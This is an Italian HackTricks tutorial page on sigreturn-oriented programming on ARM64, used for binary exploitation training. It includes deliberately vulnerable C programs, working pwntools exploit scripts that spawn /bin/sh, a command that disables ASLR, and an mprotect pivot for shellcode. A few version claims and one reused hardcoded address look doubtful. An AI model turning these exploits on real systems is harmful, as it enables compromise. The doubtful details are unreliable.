> [!TIP]
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Esempio di Pwntools
Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario legge nello stack e poi chiama sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
esempio di bof
Codice
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Compilalo con:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
L'exploit sfrutta il bof per tornare alla chiamata a sigreturn
e preparare lo stack per chiamare execve
con un puntatore a /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
esempio di bof senza sigreturn
Codice
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
Nella sezione vdso
è possibile trovare una chiamata a sigreturn
nell'offset 0x7b0
:
 (1).png)
Pertanto, se trapelato, è possibile utilizzare questo indirizzo per accedere a un sigreturn
se il binario non lo sta caricando:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Per ulteriori informazioni su vdso controlla:
E per bypassare l'indirizzo di /bin/sh
potresti creare diverse variabili d'ambiente che puntano ad esso, per ulteriori informazioni:
Trovare gadget sigreturn
automaticamente (2023-2025)
Sulle distribuzioni moderne il trampolino sigreturn
è ancora esportato dalla pagina vDSO ma l'offset esatto può variare tra le versioni del kernel e i flag di build come BTI (+branch-protection
) o PAC. Automatizzare la sua scoperta previene la codifica rigida degli offset:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Entrambi gli strumenti comprendono le codifiche AArch64 e elencheranno le sequenze candidate mov x8, 0x8b ; svc #0
che possono essere utilizzate come gadget SROP.
Nota: Quando i binari sono compilati con BTI, la prima istruzione di ogni obiettivo di branch indiretto valido è
bti c
. I trampolinisigreturn
posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
Collegare SROP con ROP (pivot tramite mprotect
)
rt_sigreturn
ci consente di controllare tutti i registri a uso generale e pstate
. Un modello comune su x86 è: 1) utilizzare SROP per chiamare mprotect
, 2) pivotare a un nuovo stack eseguibile contenente shell-code. La stessa idea funziona su ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Dopo aver inviato il frame, puoi inviare un secondo stadio contenente codice shell raw a 0x400000+0x100
. Poiché AArch64 utilizza l'indirizzamento PC-relative, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
Validazione del kernel, PAC e Shadow-Stacks
Linux 5.16 ha introdotto una validazione più rigorosa dei frame dei segnali nello spazio utente (commit 36f5a6c73096
). Il kernel ora controlla:
uc_flags
deve contenereUC_FP_XSTATE
quandoextra_context
è presente.- La parola riservata in
struct rt_sigframe
deve essere zero. - Ogni puntatore nel record extra_context è allineato e punta all'interno dello spazio degli indirizzi utente.
pwntools>=4.10
crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero riservato e di omettere il record SVE a meno che tu non ne abbia davvero bisogno—altrimenti rt_sigreturn
restituirà SIGSEGV
invece di tornare.
A partire da Android 14 e Fedora 38, il userland è compilato con PAC (Pointer Authentication) e BTI abilitati per impostazione predefinita (-mbranch-protection=standard
). SROP stesso non è influenzato perché il kernel sovrascrive PC
direttamente dal frame creato, bypassando l'LR autenticato salvato nello stack; tuttavia, qualsiasi catena ROP successiva che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e non interferiscono con SROP perché non vengono eseguite istruzioni di ritorno—il flusso di controllo è trasferito dal kernel.
Riferimenti
- Documentazione sulla gestione dei segnali di Linux arm64
- LWN – "La protezione dei rami AArch64 arriva a GCC e glibc" (2023)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.